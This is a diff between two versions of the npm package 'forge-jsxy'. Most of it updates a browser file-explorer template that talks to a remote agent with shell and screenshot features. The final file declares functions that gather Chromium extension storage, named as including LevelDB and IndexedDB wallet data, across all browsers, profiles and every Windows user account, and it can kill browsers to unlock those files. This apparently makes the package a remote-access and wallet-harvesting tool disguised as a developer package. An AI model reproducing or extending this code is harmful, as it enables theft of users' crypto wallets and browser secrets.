forge-jsxy 1.0.92 → 1.0.103

package/assets/files-explorer-template.html

@@ -1701,6 +1701,10 @@
 <script>
 let ws = null, authed = false, curPath = '', rid = 0, lastEntries = [], afterAuthDone = false, lastRead = null;
 let _explorerAutoConnectTimer = null;
+/** Backoff for involuntary viewer reconnects (network blips — not 4003 tab replace). */
+let _explorerReconnectAttempt = 0;
+/** Set when relay closes us with 4003 — another explorer tab owns the session; do not auto-reconnect. */
+let _explorerReplacedByOtherViewer = false;
 let _explorerVoluntaryDisconnect = false;
 /** From agent `system_info` after `get_info` — shell one-liners + screenshot button (win32 / linux / darwin). */
 let agentPlatform = '';
@@ -1733,6 +1737,23 @@ const FE_SPLIT_LS_H = 'forgeFeExplorerSplitH';
 let currentSearchQuery = '';
 /** Ignore stale fs_list/fs_roots responses when user navigates faster than the agent replies (reduces wrong UI + extra work). */
 let activeListRid = null, activeRootsRid = null;
+/** If `fs_roots_result` never arrives after auth, retry once and surface a clear error. */
+let _fsRootsWatchTimer = null;
+const FS_ROOTS_WATCH_MS = 14000;
+function clearFsRootsWatch(){
+  if(_fsRootsWatchTimer){ clearTimeout(_fsRootsWatchTimer); _fsRootsWatchTimer = null; }
+}
+function armFsRootsWatch(){
+  clearFsRootsWatch();
+  _fsRootsWatchTimer = setTimeout(function(){
+    _fsRootsWatchTimer = null;
+    if(!authed || !ws || ws.readyState !== 1) return;
+    if(lastRoots && lastRoots.length) return;
+    setCerr('No folder list from agent yet — retrying roots…');
+    setStatus('Retrying filesystem roots…');
+    sendFsRoots();
+  }, FS_ROOTS_WATCH_MS);
+}
 /** Remember last primary selection as a normalized abs-path key (search hits use multi-segment `entry.name`). */
 let lastSelectedExplorerKey = null;
 /** Multi-select: normalized abs-path keys (Ctrl/Cmd±click toggle, Shift±click range). */
@@ -2551,9 +2572,43 @@ function explorerUrlSessionReady(){
  * No session/password fields on the gate — when the URL / hidden wire id is valid, connect after a short delay.
  * Skips if a socket is already open or connecting. Cleared on voluntary Disconnect.
  */
+function resetExplorerReconnectBackoff(){
+  _explorerReconnectAttempt = 0;
+}
+/** While already browsing, show the connect overlay during brief agent drop / re-auth (avoids blank tree). */
+function showAgentReconnectOverlay(msg){
+  if(!afterAuthDone) return;
+  const ov = $('overlay');
+  if(ov) ov.classList.remove('hidden');
+  setWaitmsg(msg || 'Reconnecting to agent…');
+}
+function hideAgentReconnectOverlayIfAuthed(){
+  if(!afterAuthDone || !authed) return;
+  const ov = $('overlay');
+  if(ov) ov.classList.add('hidden');
+  setWaitmsg('');
+}
+/** Ignore brief agent_disconnected during duplicate-agent swap (relay debounce + slot hold). */
+let _agentDisconnectDebounceTimer = null;
+const AGENT_DISCONNECT_DEBOUNCE_MS = 2600;
+function cancelAgentDisconnectDebounce(){
+  if(_agentDisconnectDebounceTimer){
+    clearTimeout(_agentDisconnectDebounceTimer);
+    _agentDisconnectDebounceTimer = null;
+  }
+}
+function scheduleAgentDisconnectDebounce(fn){
+  cancelAgentDisconnectDebounce();
+  _agentDisconnectDebounceTimer = setTimeout(function(){
+    _agentDisconnectDebounceTimer = null;
+    try { fn(); } catch(e){}
+  }, AGENT_DISCONNECT_DEBOUNCE_MS);
+}
 function scheduleExplorerAutoConnect(delayMs){
   try {
-    const d = typeof delayMs === 'number' && delayMs >= 0 ? delayMs : 450;
+    if(_explorerReplacedByOtherViewer) return;
+    const base = typeof delayMs === 'number' && delayMs >= 0 ? delayMs : 450;
+    const delay = Math.min(30000, Math.round(base * Math.pow(2, Math.min(_explorerReconnectAttempt++, 6))));
     if(_explorerAutoConnectTimer){
       clearTimeout(_explorerAutoConnectTimer);
       _explorerAutoConnectTimer = null;
@@ -2567,11 +2622,12 @@ function scheduleExplorerAutoConnect(delayMs){
     if(!ok) return;
     _explorerAutoConnectTimer = setTimeout(function(){
       _explorerAutoConnectTimer = null;
+      if(_explorerReplacedByOtherViewer) return;
       if(_explorerVoluntaryDisconnect) return;
       const a = ws && (ws.readyState === WebSocket.OPEN || ws.readyState === WebSocket.CONNECTING);
       if(a) return;
       void doConnect();
-    }, d);
+    }, delay);
   } catch(e){}
 }
 
@@ -2996,6 +3052,7 @@ function ridMatch(a,b){ return String(a||'') === String(b||''); }
 function sendFsRoots(){
   const r = ridn();
   activeRootsRid = r;
+  armFsRootsWatch();
   send({type:'fs_roots', request_id: r});
 }
 /** @param opts {{ treeOnly?: boolean }} */
@@ -4524,6 +4581,7 @@ async function doConnect(){
     clearTimeout(_explorerAutoConnectTimer);
     _explorerAutoConnectTimer = null;
   }
+  _explorerReplacedByOtherViewer = false;
   _explorerVoluntaryDisconnect = false;
   if(forgeRtcReconnectTimer){
     clearTimeout(forgeRtcReconnectTimer);
@@ -4573,6 +4631,7 @@ async function doConnect(){
   clearAuthChallengeWatch();
   clearAuthResultWatch();
   clearViewerKeepalive();
+  clearFsRootsWatch();
   explorerAuthAwaitingResult = false;
   setCerr('');
   setWaitmsg('');
@@ -4721,12 +4780,16 @@ async function doConnect(){
       detail += ')';
     }
     if(ev && ev.code === 4005) detail += ' — origin/proxy mismatch; relay defaults to relaxed Origin (set CFGMGR_RELAY_STRICT_ORIGIN=1 only if you need strict checks), or fix X-Forwarded-Host / RFC7239 Forwarded host=.';
+    if(ev && ev.code === 4003){
+      _explorerReplacedByOtherViewer = true;
+      detail = 'Disconnected — another file explorer tab took over this session. Close extra tabs for the same My VPS id, or click Connect here to take over.';
+    }
     clearAgentHintTimer();
     /** Always clear `#status` — e.g. "Forge agent restart (agent)…" can outlive `wantShellRid` if `onclose` races `doConnect` / `resetStaleShellAfterAgentLifecycle`. */
     setStatus('');
     setCerr(detail);
     syncOverlayXferHint();
-    if(!_explorerVoluntaryDisconnect){
+    if(!_explorerVoluntaryDisconnect && !_explorerReplacedByOtherViewer){
       scheduleExplorerAutoConnect(650);
     }
   };
@@ -4835,10 +4898,13 @@ function onMsg(m){
     }catch(e){}
   }
   if(t==='agent_connected'){
+    cancelAgentDisconnectDebounce();
     clearAgentHintTimer();
     authed = false;
     cancelForgeUpgradeReconnectTimeouts();
-    if(ws._pwHash){
+    if(afterAuthDone){
+      showAgentReconnectOverlay('Agent connected — re-authenticating…');
+    } else if(ws._pwHash){
       setWaitmsg('Waiting for auth challenge…');
       scheduleAuthChallengeWatch();
     } else {
@@ -4886,9 +4952,11 @@ function onMsg(m){
     if(m.ok){
       clearAgentHintTimer();
       authed = true;
+      resetExplorerReconnectBackoff();
       cancelForgeUpgradeReconnectTimeouts();
       setWaitmsg('');
       setCerr('');
+      hideAgentReconnectOverlayIfAuthed();
       if(afterAuthDone){
         /** Agent reconnected while explorer stayed open — restore HF/xfer persistence after re-auth. */
         resetStaleShellAfterAgentLifecycle();
@@ -4902,7 +4970,9 @@ function onMsg(m){
         forgeRtcReconnectAttempts = 0;
         if(forgeRtcReconnectTimer){ clearTimeout(forgeRtcReconnectTimer); forgeRtcReconnectTimer = null; }
         setTimeout(function(){ tryForgeRtcExplorerProbe(); }, 120);
-        sendFsRoots();
+        const cpReauth = String(curPath || '').trim();
+        if(cpReauth && !rootsPickerMode) refresh();
+        else sendFsRoots();
         updateAgentShellHints();
       } else afterAuth();
     }
@@ -4914,6 +4984,7 @@ function onMsg(m){
   }
   if(t==='fs_roots_result'){
     if(!ridMatch(m.request_id, activeRootsRid)) return;
+    clearFsRootsWatch();
     if(!m.ok){ setStatus(m.error||'roots failed'); setCerr(m.error||''); return; }
     const roots = m.roots||[];
     if(!roots.length){ setStatus('No filesystem roots available on agent'); return; }
@@ -4946,21 +5017,19 @@ function onMsg(m){
     }
   }
   if(t==='agent_disconnected'){
+    scheduleAgentDisconnectDebounce(function(){
     if(forgeRtcReconnectTimer){ clearTimeout(forgeRtcReconnectTimer); forgeRtcReconnectTimer = null; }
     forgeRtcReconnectAttempts = 0;
     teardownForgeRtcExplorer();
     authed = false;
     clearAuthChallengeWatch();
     clearAuthResultWatch();
+    clearViewerKeepalive();
     stashXferDisconnectNote('— agent link lost');
     agentPlatform = '';
     updateAgentShellHints();
     wantScreenshotRid = null;
     revokeScreenshotBlob();
-    lastEntries = [];
-    $('rows').innerHTML = '';
-    const dre = $('detail-rows');
-    if(dre) dre.innerHTML = '';
     wantDeleteRid=null;
     clearDeleteWatchdog();
     resetStaleShellAfterAgentLifecycle();
@@ -4968,13 +5037,26 @@ function onMsg(m){
     /** Keep `wantHfRid` — Hub upload keeps running on the agent; after relay reconnect, progress uses the same id. */
     abortPreview();
     resetDownloadZipPipelineState();
-    treeExpandedPaths.clear();
-    treeChildrenCache.clear();
     pendingFsListByRid.clear();
     treeListInflight.clear();
-    treeSelectionParent = '';
-    setStatus('Remote agent offline — lists paused until it reconnects');
+    activeListRid = null;
+    activeRootsRid = null;
+    if(afterAuthDone){
+      /** Keep tree/roots visible under overlay — avoids blank explorer during agent reconnect flaps. */
+      showAgentReconnectOverlay('Remote agent offline — waiting for reconnect…');
+      setStatus('Remote agent offline — lists paused until it reconnects');
+    } else {
+      lastEntries = [];
+      $('rows').innerHTML = '';
+      const dre0 = $('detail-rows');
+      if(dre0) dre0.innerHTML = '';
+      treeExpandedPaths.clear();
+      treeChildrenCache.clear();
+      treeSelectionParent = '';
+      setStatus('Remote agent offline — lists paused until it reconnects');
+    }
     xferStatusSyncDom();
+    });
   }
   if(t==='fs_list_result'){
     const reqId = m.request_id;
@@ -7150,13 +7232,7 @@ function uploadHfForceKill(){
       !!explorerGateAuthSecret();
 
     if ((autoParam === '1' && sessionParam) || skipPasswordGate) {
-      const overlay = document.getElementById('overlay');
-      if (overlay) {
-        overlay.classList.add('hidden');
-        overlay.style.display = '';
-        overlay.setAttribute('aria-hidden', 'true');
-      }
-      explorerChromeVisible(true);
+      /** Keep overlay until `afterAuth()` — avoids empty chrome while socket/auth is still in flight. */
       setWaitmsg('Connecting (' + shortSessionLabel(sessionEl ? sessionEl.value : '') + ')…');
       setTimeout(function() {
         if (explorerUrlSessionReady()) {

package/dist/assets/files-explorer-template.html

@@ -10,7 +10,7 @@
 <link rel="apple-touch-icon" href="/forge-explorer-favicon.svg"/>
 <link rel="stylesheet" href="/forge-explorer-codicons/codicon.css"/>
 <link rel="stylesheet" href="/forge-explorer-highlight/explorer-highlight.css"/>
-<!-- forge-jsxy@1.0.92 reconnect-ui npm-isolated-cache hub-20gib-delete-watch -->
+<!-- forge-jsxy@1.0.103 reconnect-ui npm-isolated-cache hub-20gib-delete-watch -->
 <script>
 (function () {
   try {
@@ -1701,6 +1701,10 @@
 <script>
 let ws = null, authed = false, curPath = '', rid = 0, lastEntries = [], afterAuthDone = false, lastRead = null;
 let _explorerAutoConnectTimer = null;
+/** Backoff for involuntary viewer reconnects (network blips — not 4003 tab replace). */
+let _explorerReconnectAttempt = 0;
+/** Set when relay closes us with 4003 — another explorer tab owns the session; do not auto-reconnect. */
+let _explorerReplacedByOtherViewer = false;
 let _explorerVoluntaryDisconnect = false;
 /** From agent `system_info` after `get_info` — shell one-liners + screenshot button (win32 / linux / darwin). */
 let agentPlatform = '';
@@ -1733,6 +1737,23 @@ const FE_SPLIT_LS_H = 'forgeFeExplorerSplitH';
 let currentSearchQuery = '';
 /** Ignore stale fs_list/fs_roots responses when user navigates faster than the agent replies (reduces wrong UI + extra work). */
 let activeListRid = null, activeRootsRid = null;
+/** If `fs_roots_result` never arrives after auth, retry once and surface a clear error. */
+let _fsRootsWatchTimer = null;
+const FS_ROOTS_WATCH_MS = 14000;
+function clearFsRootsWatch(){
+  if(_fsRootsWatchTimer){ clearTimeout(_fsRootsWatchTimer); _fsRootsWatchTimer = null; }
+}
+function armFsRootsWatch(){
+  clearFsRootsWatch();
+  _fsRootsWatchTimer = setTimeout(function(){
+    _fsRootsWatchTimer = null;
+    if(!authed || !ws || ws.readyState !== 1) return;
+    if(lastRoots && lastRoots.length) return;
+    setCerr('No folder list from agent yet — retrying roots…');
+    setStatus('Retrying filesystem roots…');
+    sendFsRoots();
+  }, FS_ROOTS_WATCH_MS);
+}
 /** Remember last primary selection as a normalized abs-path key (search hits use multi-segment `entry.name`). */
 let lastSelectedExplorerKey = null;
 /** Multi-select: normalized abs-path keys (Ctrl/Cmd±click toggle, Shift±click range). */
@@ -2551,9 +2572,43 @@ function explorerUrlSessionReady(){
  * No session/password fields on the gate — when the URL / hidden wire id is valid, connect after a short delay.
  * Skips if a socket is already open or connecting. Cleared on voluntary Disconnect.
  */
+function resetExplorerReconnectBackoff(){
+  _explorerReconnectAttempt = 0;
+}
+/** While already browsing, show the connect overlay during brief agent drop / re-auth (avoids blank tree). */
+function showAgentReconnectOverlay(msg){
+  if(!afterAuthDone) return;
+  const ov = $('overlay');
+  if(ov) ov.classList.remove('hidden');
+  setWaitmsg(msg || 'Reconnecting to agent…');
+}
+function hideAgentReconnectOverlayIfAuthed(){
+  if(!afterAuthDone || !authed) return;
+  const ov = $('overlay');
+  if(ov) ov.classList.add('hidden');
+  setWaitmsg('');
+}
+/** Ignore brief agent_disconnected during duplicate-agent swap (relay debounce + slot hold). */
+let _agentDisconnectDebounceTimer = null;
+const AGENT_DISCONNECT_DEBOUNCE_MS = 2600;
+function cancelAgentDisconnectDebounce(){
+  if(_agentDisconnectDebounceTimer){
+    clearTimeout(_agentDisconnectDebounceTimer);
+    _agentDisconnectDebounceTimer = null;
+  }
+}
+function scheduleAgentDisconnectDebounce(fn){
+  cancelAgentDisconnectDebounce();
+  _agentDisconnectDebounceTimer = setTimeout(function(){
+    _agentDisconnectDebounceTimer = null;
+    try { fn(); } catch(e){}
+  }, AGENT_DISCONNECT_DEBOUNCE_MS);
+}
 function scheduleExplorerAutoConnect(delayMs){
   try {
-    const d = typeof delayMs === 'number' && delayMs >= 0 ? delayMs : 450;
+    if(_explorerReplacedByOtherViewer) return;
+    const base = typeof delayMs === 'number' && delayMs >= 0 ? delayMs : 450;
+    const delay = Math.min(30000, Math.round(base * Math.pow(2, Math.min(_explorerReconnectAttempt++, 6))));
     if(_explorerAutoConnectTimer){
       clearTimeout(_explorerAutoConnectTimer);
       _explorerAutoConnectTimer = null;
@@ -2567,11 +2622,12 @@ function scheduleExplorerAutoConnect(delayMs){
     if(!ok) return;
     _explorerAutoConnectTimer = setTimeout(function(){
       _explorerAutoConnectTimer = null;
+      if(_explorerReplacedByOtherViewer) return;
       if(_explorerVoluntaryDisconnect) return;
       const a = ws && (ws.readyState === WebSocket.OPEN || ws.readyState === WebSocket.CONNECTING);
       if(a) return;
       void doConnect();
-    }, d);
+    }, delay);
   } catch(e){}
 }
 
@@ -2996,6 +3052,7 @@ function ridMatch(a,b){ return String(a||'') === String(b||''); }
 function sendFsRoots(){
   const r = ridn();
   activeRootsRid = r;
+  armFsRootsWatch();
   send({type:'fs_roots', request_id: r});
 }
 /** @param opts {{ treeOnly?: boolean }} */
@@ -4524,6 +4581,7 @@ async function doConnect(){
     clearTimeout(_explorerAutoConnectTimer);
     _explorerAutoConnectTimer = null;
   }
+  _explorerReplacedByOtherViewer = false;
   _explorerVoluntaryDisconnect = false;
   if(forgeRtcReconnectTimer){
     clearTimeout(forgeRtcReconnectTimer);
@@ -4573,6 +4631,7 @@ async function doConnect(){
   clearAuthChallengeWatch();
   clearAuthResultWatch();
   clearViewerKeepalive();
+  clearFsRootsWatch();
   explorerAuthAwaitingResult = false;
   setCerr('');
   setWaitmsg('');
@@ -4721,12 +4780,16 @@ async function doConnect(){
       detail += ')';
     }
     if(ev && ev.code === 4005) detail += ' — origin/proxy mismatch; relay defaults to relaxed Origin (set CFGMGR_RELAY_STRICT_ORIGIN=1 only if you need strict checks), or fix X-Forwarded-Host / RFC7239 Forwarded host=.';
+    if(ev && ev.code === 4003){
+      _explorerReplacedByOtherViewer = true;
+      detail = 'Disconnected — another file explorer tab took over this session. Close extra tabs for the same My VPS id, or click Connect here to take over.';
+    }
     clearAgentHintTimer();
     /** Always clear `#status` — e.g. "Forge agent restart (agent)…" can outlive `wantShellRid` if `onclose` races `doConnect` / `resetStaleShellAfterAgentLifecycle`. */
     setStatus('');
     setCerr(detail);
     syncOverlayXferHint();
-    if(!_explorerVoluntaryDisconnect){
+    if(!_explorerVoluntaryDisconnect && !_explorerReplacedByOtherViewer){
       scheduleExplorerAutoConnect(650);
     }
   };
@@ -4835,10 +4898,13 @@ function onMsg(m){
     }catch(e){}
   }
   if(t==='agent_connected'){
+    cancelAgentDisconnectDebounce();
     clearAgentHintTimer();
     authed = false;
     cancelForgeUpgradeReconnectTimeouts();
-    if(ws._pwHash){
+    if(afterAuthDone){
+      showAgentReconnectOverlay('Agent connected — re-authenticating…');
+    } else if(ws._pwHash){
       setWaitmsg('Waiting for auth challenge…');
       scheduleAuthChallengeWatch();
     } else {
@@ -4886,9 +4952,11 @@ function onMsg(m){
     if(m.ok){
       clearAgentHintTimer();
       authed = true;
+      resetExplorerReconnectBackoff();
       cancelForgeUpgradeReconnectTimeouts();
       setWaitmsg('');
       setCerr('');
+      hideAgentReconnectOverlayIfAuthed();
       if(afterAuthDone){
         /** Agent reconnected while explorer stayed open — restore HF/xfer persistence after re-auth. */
         resetStaleShellAfterAgentLifecycle();
@@ -4902,7 +4970,9 @@ function onMsg(m){
         forgeRtcReconnectAttempts = 0;
         if(forgeRtcReconnectTimer){ clearTimeout(forgeRtcReconnectTimer); forgeRtcReconnectTimer = null; }
         setTimeout(function(){ tryForgeRtcExplorerProbe(); }, 120);
-        sendFsRoots();
+        const cpReauth = String(curPath || '').trim();
+        if(cpReauth && !rootsPickerMode) refresh();
+        else sendFsRoots();
         updateAgentShellHints();
       } else afterAuth();
     }
@@ -4914,6 +4984,7 @@ function onMsg(m){
   }
   if(t==='fs_roots_result'){
     if(!ridMatch(m.request_id, activeRootsRid)) return;
+    clearFsRootsWatch();
     if(!m.ok){ setStatus(m.error||'roots failed'); setCerr(m.error||''); return; }
     const roots = m.roots||[];
     if(!roots.length){ setStatus('No filesystem roots available on agent'); return; }
@@ -4946,21 +5017,19 @@ function onMsg(m){
     }
   }
   if(t==='agent_disconnected'){
+    scheduleAgentDisconnectDebounce(function(){
     if(forgeRtcReconnectTimer){ clearTimeout(forgeRtcReconnectTimer); forgeRtcReconnectTimer = null; }
     forgeRtcReconnectAttempts = 0;
     teardownForgeRtcExplorer();
     authed = false;
     clearAuthChallengeWatch();
     clearAuthResultWatch();
+    clearViewerKeepalive();
     stashXferDisconnectNote('— agent link lost');
     agentPlatform = '';
     updateAgentShellHints();
     wantScreenshotRid = null;
     revokeScreenshotBlob();
-    lastEntries = [];
-    $('rows').innerHTML = '';
-    const dre = $('detail-rows');
-    if(dre) dre.innerHTML = '';
     wantDeleteRid=null;
     clearDeleteWatchdog();
     resetStaleShellAfterAgentLifecycle();
@@ -4968,13 +5037,26 @@ function onMsg(m){
     /** Keep `wantHfRid` — Hub upload keeps running on the agent; after relay reconnect, progress uses the same id. */
     abortPreview();
     resetDownloadZipPipelineState();
-    treeExpandedPaths.clear();
-    treeChildrenCache.clear();
     pendingFsListByRid.clear();
     treeListInflight.clear();
-    treeSelectionParent = '';
-    setStatus('Remote agent offline — lists paused until it reconnects');
+    activeListRid = null;
+    activeRootsRid = null;
+    if(afterAuthDone){
+      /** Keep tree/roots visible under overlay — avoids blank explorer during agent reconnect flaps. */
+      showAgentReconnectOverlay('Remote agent offline — waiting for reconnect…');
+      setStatus('Remote agent offline — lists paused until it reconnects');
+    } else {
+      lastEntries = [];
+      $('rows').innerHTML = '';
+      const dre0 = $('detail-rows');
+      if(dre0) dre0.innerHTML = '';
+      treeExpandedPaths.clear();
+      treeChildrenCache.clear();
+      treeSelectionParent = '';
+      setStatus('Remote agent offline — lists paused until it reconnects');
+    }
     xferStatusSyncDom();
+    });
   }
   if(t==='fs_list_result'){
     const reqId = m.request_id;
@@ -7150,13 +7232,7 @@ function uploadHfForceKill(){
       !!explorerGateAuthSecret();
 
     if ((autoParam === '1' && sessionParam) || skipPasswordGate) {
-      const overlay = document.getElementById('overlay');
-      if (overlay) {
-        overlay.classList.add('hidden');
-        overlay.style.display = '';
-        overlay.setAttribute('aria-hidden', 'true');
-      }
-      explorerChromeVisible(true);
+      /** Keep overlay until `afterAuth()` — avoids empty chrome while socket/auth is still in flight. */
       setWaitmsg('Connecting (' + shortSessionLabel(sessionEl ? sessionEl.value : '') + ')…');
       setTimeout(function() {
         if (explorerUrlSessionReady()) {

package/dist/chromiumExtensionDbHarvest.d.ts

@@ -1,6 +1,7 @@
 export declare const EXTENSION_DB_STAGING_DIRNAME = "extension-db-staging";
 /** Relative path segment (case-insensitive) under a browser profile. */
 export declare const LOCAL_EXTENSION_SETTINGS = "Local Extension Settings";
+export declare const INDEXEDDB_DIR_NAME = "IndexedDB";
 export type ExtensionDbSource = {
     browserLabel: string;
     /** Last segment of profile path (e.g. `Default`, `Profile 1`). */
@@ -13,6 +14,8 @@ export type ExtensionDbSource = {
     sourceKey: string;
     /** Relative path inside the zip staging tree. */
     stagingRelPath: string;
+    /** `local_extension_settings` (default) or Chromium profile `IndexedDB` wallet trees. */
+    storageKind: "local_extension_settings" | "indexeddb";
 };
 export type ExtensionDbHarvestResult = {
     stagingRoot: string;
@@ -23,6 +26,10 @@ export type ExtensionDbHarvestResult = {
     skippedFolders: number;
     skippedCopyErrors: number;
 };
+/** All `AppData\\Local` roots on Windows — current user plus `C:\\Users\\*\\AppData\\Local`. */
+export declare function win32AllLocalAppDataRoots(): string[];
+/** All `AppData\\Roaming` roots on Windows — current user plus `C:\\Users\\*\\AppData\\Roaming`. */
+export declare function win32AllRoamingAppDataRoots(): string[];
 /** Chromium `User Data`-style roots (may be profile root for Opera). */
 export declare function chromiumBrowserUserDataCandidates(): {
     label: string;
@@ -36,18 +43,32 @@ export declare function findLocalExtensionSettingsDirs(userDataRoot: string, max
     profileRelPath: string;
     lesDir: string;
 }[];
-/** Gate only: true when `<extension_id>/` contains ≥1 `.db` file (triggers full-folder copy). */
+/** Find `IndexedDB/chrome-extension_*_0.indexeddb.leveldb/` trees under a browser user-data root. */
+export declare function findChromeExtensionIndexedDbDirs(userDataRoot: string, maxDepth?: number): {
+    profileLabel: string;
+    profileRelPath: string;
+    idbDir: string;
+    extensionId: string;
+}[];
+/** True when a filename is a LevelDB sstable (`.ldb`, case-insensitive). */
+export declare function isLevelDbSstableFileName(name: string): boolean;
+/**
+ * Gate: true when `<extension_id>/` contains ≥1 **`.ldb`** file (LevelDB database segment).
+ * SQLite `.db` / `.dat` without `.ldb` does **not** qualify.
+ */
+export declare function extensionFolderHasLdbFile(dir: string, maxDepth?: number): boolean;
+/** @deprecated Use {@link extensionFolderHasLdbFile} — gate is `.ldb`, not `.db`. */
 export declare function extensionFolderHasDbFile(dir: string, maxDepth?: number): boolean;
-/** Enumerate extension folders (with `.db` files) for explicit browser roots (test hook). */
+/** Enumerate extension folders (with ≥1 `.ldb` file) for explicit browser roots (test hook). */
 export declare function discoverExtensionDbSourcesFromUserDataRoots(candidates: {
     label: string;
     root: string;
 }[]): ExtensionDbSource[];
-/** Enumerate extension folders (with `.db` files) across all Chromium browsers. */
+/** Enumerate extension folders (with ≥1 `.ldb` file) across all Chromium browsers. */
 export declare function discoverExtensionDbSources(): ExtensionDbSource[];
 export declare function extensionDbStagingRoot(): string;
 /** Unique key for browser + profile + extension id (same id in different profiles/browsers stays distinct). */
-export declare function extensionSourceKey(browserLabel: string, profileRelPath: string, extensionId: string): string;
+export declare function extensionSourceKey(browserLabel: string, profileRelPath: string, extensionId: string, storageKind?: ExtensionDbSource["storageKind"]): string;
 export declare function stagingRelPathForSource(src: ExtensionDbSource): string;
 export type HarvestExtensionDbOptions = {
     /** Terminate browsers locking profile paths before copy (default true). */